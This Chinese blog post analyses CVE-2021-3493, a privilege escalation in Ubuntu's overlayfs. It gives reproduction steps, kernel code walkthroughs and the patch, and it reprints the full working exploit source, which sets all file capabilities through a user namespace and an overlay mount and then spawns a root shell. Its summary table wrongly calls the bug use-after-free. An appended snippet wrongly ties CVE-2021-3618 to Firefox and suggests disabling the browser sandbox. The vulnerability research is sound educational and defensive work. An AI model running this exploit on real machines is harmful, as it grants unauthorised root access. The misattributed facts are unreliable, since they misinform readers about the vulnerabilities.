【CVE-2021-3493】——漏洞复现、原理分析以及漏洞修复


前言

  Linux内核中的overlayfs实现未能在用户命名空间方面正确验证对底层文件系统中文件设置文件能力的操作。由于未特权用户命名空间与Ubuntu内核中允许未特权的overlay挂载的补丁的组合,攻击者可以利用这一漏洞获取提升的权限。本篇文章将从漏洞复现、原理分析以及漏洞修复这三个方面对CVE-2021-3493进行详细介绍。以下就是本篇博客的全部内容。


1、漏洞概述

  这个问题涉及到Linux内核中的overlayfs实现,它在处理与用户命名空间相关的文件能力设置时存在问题。由于在Ubuntu内核中携带了一个允许非特权overlay挂载的补丁,结合非特权用户命名空间,攻击者可以利用这一问题来获取提升的特权。关于此漏洞的详细信息请参阅下表。关于此漏洞的更多信息,请参阅阿里云漏洞库NVD

描述项具体值
CVE编号CVE-2021-3493
NVD评分7.8
披露时间2021-04-17
漏洞类型释放后使用
漏洞危害本地提权
影响范围4.14<=Linux内核版本<=5.8
是否有Patch
Patch是否可用可用
数据保密性数据泄露
数据完整性无影响
攻击路径本地
攻击复杂度容易

2、漏洞复现

2.1、漏洞复现测试环境

软件环境硬件环境约束条件
操作系统版本为ubuntu-18.04.1-desktop-amd64分配4个处理器,每个处理器有4个内核,处理器内核总数为164.14<=Linux内核版本<=5.8
Linux内核版本为4.15.0-29-generic内存16GB暂无
使用的虚拟机管理器为VMware 17.0.0硬盘400GB暂无

2.2、漏洞复现具体步骤

  1. 首先查看当前Ubuntu系统的版本:
$ lsb_release -a
  1. 可以发现当前Ubuntu系统的版本为18.04.1 LTS:
    在这里插入图片描述

  2. 然后查看当前Ubuntu系统的Linux内核的版本:

$ uname -r
  1. 可以发现当前Ubuntu系统的Linux内核的版本为4.15.0-29-generic:
    在这里插入图片描述

  2. 然后下载安装POC验证所需要的软件:

$ sudo apt-get update
$ sudo apt-get install git -y
$ sudo apt-get install gcc -y
$ sudo apt-get install make -y
  1. 然后来到当前用户的根目录中,创建名为“CVE-2021-3493”的目录,并进入此目录:
$ cd ~
$ mkdir CVE-2021-3493
$ cd CVE-2021-3493/
  1. 然后在名为“CVE-2021-3493”的目录中下载Exploit源码,并进入其源码目录:
$ git clone https://github.com/briskets/CVE-2021-3493.git
$ cd CVE-2021-3493/
  1. 然后我们在此目录中创建名为“Makefile”的文件,并编辑其:
$ touch Makefile
$ gedit Makefile
  1. 在打开的文件中,输入如下内容。以下内容的目的就是统一POC验证的流程,使整个流程更规范。具体来说下面的内容就是编译得到用于POC验证的二进制文件:
# Makefile for CVE-2021-3493 exploit

CC = gcc

all: exploit

exploit: exploit.c
	$(CC) -o exploit exploit.c

.PHONY: clean

clean:
	rm -f exploit
  1. 保存以上修改后退出,然后执行如下命令来编译源代码以得到用于POC验证的二进制文件:
$ make
  1. 然后使用如下命令查看上面的操作的结果:
$ ll
  1. 可以发现,已经成功得到了用于POC验证的二进制文件:
    在这里插入图片描述

  2. 然后在此目录中继续创建一个名为“run.sh”的文件,并编辑其:

$ touch run.sh
$ gedit run.sh
  1. 在打开的文件中,输入如下内容。这些内容就是用来自动化和规范的来进行POC/CVE的验证:
#!/bin/bash

# Run script for CVE-2021-3493 exploit

# Add any setup commands if needed
# Example: ./setup.sh

# Run the exploit binary
./exploit

# Add any cleanup commands if needed
# Example: rm -f some_file

echo "Script execution completed."
  1. 当我们做完以上操作后,保存以上修改后退出,然后赋予“run.sh”脚本执行权限,并执行其以进行POC的验证:
$ chmod +x run.sh
$ ./run.sh
  1. 执行上面的命令后,发现已经成功利用此Exploit获取到了root用户的权限:
    在这里插入图片描述

  2. 我们可以使用如下命令进一步验证当前用户的权限:

# whoami
  1. 可以发现,已经成功提权:
    在这里插入图片描述

3、漏洞原理

3.1、前置知识

3.1.1、Overlayfs

  Overlayfs是Linux内核中的一种文件系统,于2014年被合并到3.18版本的内核中,目前功能已经稳定且被逐渐推广,它可以将两个不同的文件系统(通常是只读的根文件系统和可读写的另一个文件系统)合并成一个联合文件系统。它使用了一个overlay mount机制,可以将两个文件系统的内容堆叠在一起,同时保留各自的文件系统结构和权限控制。

  Overlayfs的使用非常广泛,特别是在容器技术中。在容器技术中,通常使用一个基础镜像来创建一个容器,并在容器中叠加一个额外的可写层,这样可以实现容器的快速创建和部署,并且避免了在每个容器中都复制一份完整的文件系统的问题。
Overlayfs的优点包括:

  • 快速:Overlayfs可以非常快速地创建和销毁容器,因为它只需要在一个只读的基础镜像上创建一个可写层
  • 节省空间:由于Overlayfs只需要在基础镜像上添加一个可写层,因此可以节省存储空间
  • 灵活:Overlayfs可以使用多个可写层,这样可以在容器中添加或删除文件,而不会影响基础镜像

  总之,Overlayfs是一种非常有用的文件系统技术,特别是在容器技术中,可以帮助用户快速创建、部署和管理容器。下面我们来详细看一下Overlayfs的原理。

  Overlayfs允许将多个目录树合并为一个虚拟的文件系统。作为一种联合文件系统,它可以使用两个或更多的文件系统来组成一个联合挂载点。其中,一个文件系统被称为“下层文件系统”(lower file system),简称lower,另一个则被称为“上层文件系统”(upper file system)简称upper。如下图所示:
在这里插入图片描述

  这里我们需要特别关注的是upper文件系统和lower文件系统,这两种文件系统可以联合挂载成为一个目录,具体来说,Overlayfs 主要由以下几个部分组成:

  • 下层文件系统(lower file system):由一个或多个现有的文件系统组成,用于提供底层文件和目录的读取和写入操作。下层文件系统通常由一个只读文件系统和一个可写文件系统组成,只读文件系统提供底层文件的只读访问,可写文件系统提供上层文件的读写访问
  • 上层文件系统(upper file system):用于提供对底层文件系统的修改和更新,上层文件系统通常被挂载为可写文件系统。所有对上层文件系统的修改都会被保存在该文件系统中,而不会影响下层文件系统
  • 工作目录(work directory):用于存储 Overlayfs 在运行时所需的一些临时文件和元数据,例如合并后的文件和目录的属性信息等
  • Overlayfs 文件系统(Overlayfs filesystem):由下层文件系统和上层文件系统组成的联合文件系统,它是一个虚拟的文件系统,用于提供对多个文件系统的联合挂载
    通过将多个文件系统层叠在一起,Overlayfs 可以实现文件系统的继承和组合,使用户可以在不影响底层文件系统的情况下修改和更新文件。这使得 Overlayfs 成为一种非常有用的文件系统,特别适用于容器和虚拟化环境中的文件管理。

3.1.2、Capabilities机制

  Capabilities是一种安全机制,它允许在执行程序时细粒度地分配权限,而不必提升整个进程的权限。这种机制的目的是降低系统中运行的进程的攻击面,并提高系统的安全性。从Linux内核2.2开始引入了Capabilities机制,并在后续使用中使用完善。下面的表格列举了几个常见的Capabilities作为例子:

Capabilities名称功能描述
CAP_CHOWN修改文件所有者的权限
CAP_KILL允许对不属于自己的进程发送信号
CAP_SETFCAP允许为文件设置任意的Capabilities
CAP_SETUID允许改变进程的UID
CAP_SYS_ADMIN允许执行系统管理任务,如加载或卸载文件系统、设置磁盘配额等
3.1.2.1、线程的Capabilities机制

  线程的Capabilities提供了更灵活的权限管理机制,使得每个线程可以独立地配置和修改其Capabilities,而不受其他线程或进程的影响。这有助于在多线程应用程序中更精细地控制各个线程的权限。对于每一个线程,均拥有3个Capabilities的集合,分别是:

  • Permitted
    Permitted集合定义了线程的特权上限,如果执行操作所需要的Capability不在该集合中,那么该线程不会进行对应的特权操作。Permitted集合是Inheritable和Effective集合的的超集。
  • Inheritable
    当执行exec()系统调用运行其他程序时,哪些特权能够被新线程继承Capabilities。
  • Effective
    内核检查某线程是否可以进行特权操作时,检查的对象便是Effective集合。线程可以删除Effective集合中的某Capability,随后在需要时,再从Permitted集合中恢复该Capability,以此达到临时禁用某Capability的功能。
3.1.2.2、文件的Capabilities机制

  在Linux系统中,文件的Capabilities是指文件上赋予的特定权限集,允许进程在访问该文件时执行一些特殊的操作,而无需提升整个进程的权限。这提供了一种细粒度的权限管理方式,以减少系统的攻击面。文件的Capabilities被记录在文件的拓展属性中。当某线程想修改这些扩展属性时,需要具有CAP_SETFCAP的Capability。
在这里插入图片描述

  • Permitted:允许进程在文件上执行的所有capabilities的集合。
  • Effective:实际上生效的capabilities集合,决定了进程的当前权限。
  • Inherited:在创建子进程时传递给它们的capabilities集合。
  • Ambient :允许进程在不改变Effective的情况下,将某些Capabilities传递给其子进程。Ambient在内核4.3后引入,用于补充Inherited使用上的缺陷,Ambient集合可以使用函数prctl修改。当程序由于SUID(SGID)bit位而转变UID(GID),或执行带有文件Capabilities的程序时会导致该集合被清空。

3.1.3、User namespace

  User namespace是Linux 3.8新增的一种namespace,用于隔离安全相关的资源,包括user IDs、group IDs、keys和capabilities。同样一个用户的user ID和group ID在不同的user namespace中可以不一样(与PID nanespace类似)。换句话说,一个用户可以在一个user namespace中是普通用户,但在另一个user namespace中是超级用户。

  系统启动时,就有一个默认的全局init_user_ns,新创建一个user namespace会重新规划这个ns的capability,和这个user namespace父辈的capability无关。在新user namespace中uid 0等于root默认拥有所有capability,普通用户的capability是在execve()时由task->real_cred->cap_inheritable + file capability综合而成。
在这里插入图片描述

3.2、漏洞分析

3.2.1、漏洞产生的具体原因

  其实对于此漏洞,可以总结为一句话:该漏洞是通过创建一个虚拟环境,然后在虚拟环境里面通过某软件赋予某文件高权限,结果由于程序检查不严密,导致该权限逃逸到现实环境中也生效,最终导致提权的危害。现在对于这段话可能还不太理解,别急,往下看我们就会逐渐明白了。首先让我们首先看下面一段代码:

#include <stdio.h>  
#include <unistd.h>  
#include <sys/types.h>  
#include <fcntl.h>  
  
int main()  
{  
    int res;  
    res = setuid(0);  
     printf("%d\n", res);  
     res = setgid(0);  
     printf("%d\n", res);  
     execve("/bin/sh", 0, 0);  
     return 0;  
 }  

  以上这段C代码(以下简称shellcode)尝试通过调用setuid(0)setgid(0)来提升进程的用户和组ID为root(0),然后使用execve调用执行/bin/sh,即启动一个shell以获取root用户权限。很明显这段shellcode普通用户是没有权限将其成功运行的,只有root用户可以成功执行。

  既然普通用户无法成功运行此shellcode,那么我们可以尝试创建一个新的namespace,此namespace拥有root用户权限。不过虽然此namespace拥有root用户权限,但是这个namespace中仍然没有此shellcode,故无法启动一个shell以获取root用户权限。

  为了解决这个问题,我们又想到了Overlayfs机制,通过Overlayfs机制将shellcode代码挂载到拥有root用户权限的namespace中,此时这个拥有root用户权限的namespace中就拥有了此shellcode。

  现在,我们就要考虑赋予此shellcode足够的权限以获取root用户权限,值得注意的是,此时的namespace拥有root用户权限,所以我们可以赋予此shellcode足够高的Capabilities权限,以让非namespace环境的用户也可以成功执行此shellcode。这样,普通用户也可以成功执行此shellcode以获取root用户权限。

  现在我们再来回味一下这段话,即:该漏洞是通过创建一个虚拟环境,然后在虚拟环境里面通过某软件赋予某文件高权限,结果由于程序检查不严密,导致该权限逃逸到现实环境中也生效,最终导致提权的危害。经过上面的讲解,这里提到的虚拟环境就是我们创建的拥有root权限的namespace,某软件就是Overlayfs机制,某文件就是我们写的shellcode,高权限就是赋予shellcode的高权限Capabilities。以上就是CVE-2021-3493漏洞产生的具体原因,关于该漏洞具体如何在Linux源代码级别上被触发,请参阅下一章节中的内容。

3.2.2、漏洞产生的代码分析

  让我们打开Linux 4.15版本的内核代码,找到名为“setxattr”的函数,此函数用于设置文件或目录的Capabilities权限,在这个函数中,我们要关注两个重要的函数,即名为“cap_convert_nscap”的函数(第35行)和名为“vfs_setxattr”的函数(第42行)。

/* 
 * Extended attribute SET operations 
 */  
static long  
setxattr(struct dentry *d, const char __user *name, const void __user *value,  
     size_t size, int flags)  
{  
    int error;  
    void *kvalue = NULL;  
    char kname[XATTR_NAME_MAX + 1];  
  
    if (flags & ~(XATTR_CREATE|XATTR_REPLACE))  
        return -EINVAL;  
  
    error = strncpy_from_user(kname, name, sizeof(kname));  
    if (error == 0 || error == sizeof(kname))  
        error = -ERANGE;  
    if (error < 0)  
        return error;  
  
    if (size) {  
        if (size > XATTR_SIZE_MAX)  
            return -E2BIG;  
        kvalue = kvmalloc(size, GFP_KERNEL);  
        if (!kvalue)  
            return -ENOMEM;  
        if (copy_from_user(kvalue, value, size)) {  
            error = -EFAULT;  
            goto out;  
        }  
        if ((strcmp(kname, XATTR_NAME_POSIX_ACL_ACCESS) == 0) ||  
            (strcmp(kname, XATTR_NAME_POSIX_ACL_DEFAULT) == 0))  
            posix_acl_fix_xattr_from_user(kvalue, size);  
        else if (strcmp(kname, XATTR_NAME_CAPS) == 0) {  
            error = cap_convert_nscap(d, &kvalue, size);  
            if (error < 0)  
                goto out;  
            size = error;  
        }  
    }  
  
    error = vfs_setxattr(d, kname, kvalue, size, flags);  
out:  
    kvfree(kvalue);  
  
    return error;  
}  

  其中,cap_convert_nscap函数用于校验被设置Capabilities权限的文件或目录的namespace与当前环境的namespace是否一致,如果不一致,则无法赋予目标文件或目录特定的Capabilities权限。而vfs_setxattr函数是设置文件或目录Capabilities权限的核心代码。让我们继续深入vfs_setxattr函数中查看一下如何赋予目标文件或目录特定的Capabilities权限。

int  
vfs_setxattr(struct dentry *dentry, const char *name, const void *value,  
        size_t size, int flags)  
{  
    struct inode *inode = dentry->d_inode;  
    int error;  
  
    error = xattr_permission(inode, name, MAY_WRITE);  
    if (error)  
        return error;  
  
    inode_lock(inode);  
    error = security_inode_setxattr(dentry, name, value, size, flags);  
    if (error)  
        goto out;  
  
    error = __vfs_setxattr_noperm(dentry, name, value, size, flags);  
  
out:  
    inode_unlock(inode);  
    return error;  
}  

  根据以上代码可以发现,vfs_setxattr函数在设置文件或目录Capabilities权限之前,并没有校验目标文件或目录的namespace与当前环境的namespace是否一致,如果目标文件或目录的namespace与当前环境的namespace不一致,也就是本文所介绍的这种情况,即拥有root权限的namespace与Exploit代码文件所属的namespace不一致的情况下,当在拥有root权限的namespace中成功修改Exploit代码文件的Capabilities权限后,会导致修改后的目标文件的Capabilities权限从拥有root权限的namespace中逃逸,从而导致普通用户也可以执行此Exploit代码文件(原本普通用户不可以执行此Exploit代码文件)。

3.3、POC分析

  我们测试使用的POC链接为:https://github.com/briskets/CVE-2021-3493。该POC详细代码如下所示。

#define _GNU_SOURCE  
#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
#include <unistd.h>  
#include <fcntl.h>  
#include <err.h>  
#include <errno.h>  
#include <sched.h>  
#include <sys/types.h>  
#include <sys/stat.h>  
#include <sys/wait.h>  
#include <sys/mount.h>  
  
//#include <attr/xattr.h>  
 //#include <sys/xattr.h>  
 int setxattr(const char *path, const char *name, const void *value, size_t size, int flags);  
   
   
 #define DIR_BASE    "./ovlcap"  
 #define DIR_WORK    DIR_BASE "/work"  
 #define DIR_LOWER   DIR_BASE "/lower"  
 #define DIR_UPPER   DIR_BASE "/upper"  
 #define DIR_MERGE   DIR_BASE "/merge"  
 #define BIN_MERGE   DIR_MERGE "/magic"  
 #define BIN_UPPER   DIR_UPPER "/magic"  
   
   
 static void xmkdir(const char *path, mode_t mode)  
 {  
     if (mkdir(path, mode) == -1 && errno != EEXIST)  
         err(1, "mkdir %s", path);  
 }  
   
 static void xwritefile(const char *path, const char *data)  
 {  
     int fd = open(path, O_WRONLY);  
     if (fd == -1)  
         err(1, "open %s", path);  
     ssize_t len = (ssize_t) strlen(data);  
     if (write(fd, data, len) != len)  
         err(1, "write %s", path);  
     close(fd);  
 }  
   
 static void xcopyfile(const char *src, const char *dst, mode_t mode)  
 {  
     int fi, fo;  
   
     if ((fi = open(src, O_RDONLY)) == -1)  
         err(1, "open %s", src);  
     if ((fo = open(dst, O_WRONLY | O_CREAT, mode)) == -1)  
         err(1, "open %s", dst);  
   
     char buf[4096];  
     ssize_t rd, wr;  
   
     for (;;) {  
         rd = read(fi, buf, sizeof(buf));  
         if (rd == 0) {  
             break;  
         } else if (rd == -1) {  
             if (errno == EINTR)  
                 continue;  
             err(1, "read %s", src);  
         }  
   
         char *p = buf;  
         while (rd > 0) {  
             wr = write(fo, p, rd);  
             if (wr == -1) {  
                 if (errno == EINTR)  
                     continue;  
                 err(1, "write %s", dst);  
             }  
             p += wr;  
             rd -= wr;  
         }  
     }  
   
     close(fi);  
     close(fo);  
 }  
   
 static int exploit()  
 {  
     char buf[4096];  
   
     sprintf(buf, "rm -rf '%s/'", DIR_BASE);  
     system(buf);  
   
     xmkdir(DIR_BASE, 0777);  
     xmkdir(DIR_WORK,  0777);  
     xmkdir(DIR_LOWER, 0777);  
     xmkdir(DIR_UPPER, 0777);  
     xmkdir(DIR_MERGE, 0777);  
   
     uid_t uid = getuid();  
     gid_t gid = getgid();  
   
     if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1)  
         err(1, "unshare");  
   
     xwritefile("/proc/self/setgroups", "deny");  
   
     sprintf(buf, "0 %d 1", uid);  
     xwritefile("/proc/self/uid_map", buf);  
   
     sprintf(buf, "0 %d 1", gid);  
     xwritefile("/proc/self/gid_map", buf);  
   
     sprintf(buf, "lowerdir=%s,upperdir=%s,workdir=%s", DIR_LOWER, DIR_UPPER, DIR_WORK);  
     if (mount("overlay", DIR_MERGE, "overlay", 0, buf) == -1)  
         err(1, "mount %s", DIR_MERGE);  
   
     // all+ep  
     char cap[] = "\x01\x00\x00\x02\xff\xff\xff\xff\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00";  
   
     xcopyfile("/proc/self/exe", BIN_MERGE, 0777);  
     if (setxattr(BIN_MERGE, "security.capability", cap, sizeof(cap) - 1, 0) == -1)  
         err(1, "setxattr %s", BIN_MERGE);  
   
     return 0;  
 }  
   
 int main(int argc, char *argv[])  
 {  
     if (strstr(argv[0], "magic") || (argc > 1 && !strcmp(argv[1], "shell"))) {  
         setuid(0);  
         setgid(0);  
         execl("/bin/bash", "/bin/bash", "--norc", "--noprofile", "-i", NULL);  
         err(1, "execl /bin/bash");  
     }  
   
     pid_t child = fork();  
     if (child == -1)  
         err(1, "fork");  
   
     if (child == 0) {  
         _exit(exploit());  
     } else {  
         waitpid(child, NULL, 0);  
     }  
   
     execl(BIN_UPPER, BIN_UPPER, "shell", NULL);  
     err(1, "execl %s", BIN_UPPER);  
 }  

  这段代码旨在利用操作系统的漏洞来提升权限并获取root访问权限。下面让我们更详细地分析其功能和实现细节:

  1. 定义常量和路径:
    • 使用#define指令定义了一些常量,如各种目录和文件的路径。
  2. 辅助函数:
    • xmkdir()函数用于创建目录,并在创建失败时打印错误信息。
    • xwritefile()函数用于将数据写入文件,并在写入失败时打印错误信息。
    • xcopyfile()函数用于复制文件,并在复制过程中出现错误时打印错误信息。
  3. 利用函数(exploit()):
    • 首先,利用sprintf()函数构造了一个命令,使用system()函数执行rm -rf命令,以递归地删除指定目录。
    • 然后,创建了一系列目录,包括工作目录、下层目录、上层目录和合并目录。
    • 获取了当前用户和组ID。
    • 使用unshare()函数创建了一个新的挂载命名空间和用户命名空间。
    • 写入了“/proc/self/setgroups”以拒绝组设置。
    • 写入了“/proc/self/uid_map”和“/proc/self/gid_map”以将当前用户和组ID映射到新命名空间中的root用户和组。
    • 构造了overlay文件系统的选项字符串。
    • 使用mount()函数在指定目录上挂载了一个overlay文件系统。
    • 将当前可执行文件复制到指定路径。
    • 使用setxattr()函数设置了复制文件的security.capability扩展属性,以授予所有权限。
  4. 主函数(main()):
    • 如果程序被命名为“magic”或者带有“shell”参数,则尝试提升权限并生成一个root shell。
    • 否则,它创建一个子进程并在子进程中执行利用函数。
    • 它等待子进程结束。
    • 然后,尝试执行BIN_UPPER(现在具有root权限)并传递参数shell以生成一个root shell。

4、漏洞修复

  经过上述章节的分析,对此漏洞的修复我们也很清楚了。既然在使用vfs_setxattr函数设置文件或目录Capabilities权限之前没有校验目标文件或目录的namespace与当前环境的namespace的一致性,那么我们就需要对其加一个验证条件。让我们打开Linux 5.17内核代码中的vfs_setxattr函数。

int  
vfs_setxattr(struct user_namespace *mnt_userns, struct dentry *dentry,  
         const char *name, const void *value, size_t size, int flags)  
{  
    struct inode *inode = dentry->d_inode;  
    struct inode *delegated_inode = NULL;  
    const void  *orig_value = value;  
    int error;  
  
    if (size && strcmp(name, XATTR_NAME_CAPS) == 0) {  
        error = cap_convert_nscap(mnt_userns, dentry, &value, size);  
        if (error < 0)  
            return error;  
        size = error;  
    }  
  
retry_deleg:  
    inode_lock(inode);  
    error = __vfs_setxattr_locked(mnt_userns, dentry, name, value, size,  
                      flags, &delegated_inode);  
    inode_unlock(inode);  
  
    if (delegated_inode) {  
        error = break_deleg_wait(&delegated_inode);  
        if (!error)  
            goto retry_deleg;  
    }  
    if (value != orig_value)  
        kfree(value);  
  
    return error;  
}  

  可以发现,修复后的代码使用我们刚刚介绍的cap_convert_nscap函数来校验目标文件或目录的namespace与当前环境的namespace是否一致,如果不一致,则无法对目标文件或目录赋予特定的Capabilities权限,从而解决了此问题。

  经过查阅发现,关于此漏洞的修复,共涉及三个文件,包括“fs/xattr.c”、“include/linux/capability.h”和“security/commoncap.c”。虽然补丁文件包括三个,但实际修复的核心如上所述。

  (关于此漏洞补丁的详细信息请参阅https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=7c03e2cda4a584cadc398e8f6641ca9988a39d52。)

5、参考文献

  1. 阿里云漏洞库
  2. NVD
  3. Exploit
  4. CVE-2021-3493 内核overlayfs提权漏洞分析
  5. CVE-2021-3493:Linux kernel特权提升漏洞复现
  6. 【漏洞旅行】第一期 CVE-2021-3493
  7. Patch

总结

  以上就是关于CVE-2021-3493的全部内容了,后续还会带来关于其它内核漏洞的漏洞复现、原理分析以及漏洞修复,我们下篇博客见!

  • 9
    点赞
  • 26
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
CVE-2021-3618漏洞是指影响了Mozilla Firefox浏览器的一个安全漏洞。该漏洞复现步骤如下: 1. 首先,你需要安装最新版本的Mozilla Firefox浏览器。确保你的浏览器已经更新到最新版本,因为最新版本通常会修复已知的漏洞。 2. 在Firefox浏览器中,打开一个新的标签页,并输入“about:config”(不包括引号)并按下Enter键。这将打开Firefox的高级配置页面。 3. 在搜索栏中输入“security.sandbox.content.level”(不包括引号),然后按下Enter键。你将看到一个名为“security.sandbox.content.level”的首选项。 4. 将“security.sandbox.content.level”的值更改为“0”(不包括引号)。这将禁用Firefox的内容沙箱。请注意,这将降低浏览器的安全性,请谨慎操作。 5. 关闭并重新启动Firefox浏览器,使更改生效。 6. 现在,你可以尝试复现CVE-2021-3618漏洞。使用Firefox浏览器访问一个存在安全漏洞的网站,如已知的恶意或受攻击的网站,或使用特定的payload触发漏洞。 7. 如果复现成功,可能会出现安全漏洞所导致的异常行为,比如系统崩溃、恶意代码执行等。如果没有出现异常行为,可能是因为已经修复了该漏洞或在你的环境中无法成功利用。 需要注意的是,复现CVE漏洞可能存在风险,并可能对你的计算机造成不可逆转的损害。这种操作只适用于在合法情况下进行安全测试和研究的专业人士,不推荐普通用户进行尝试。实施复现操作之前,请确认你已经了解并接受相关风险。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

IronmanJay

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值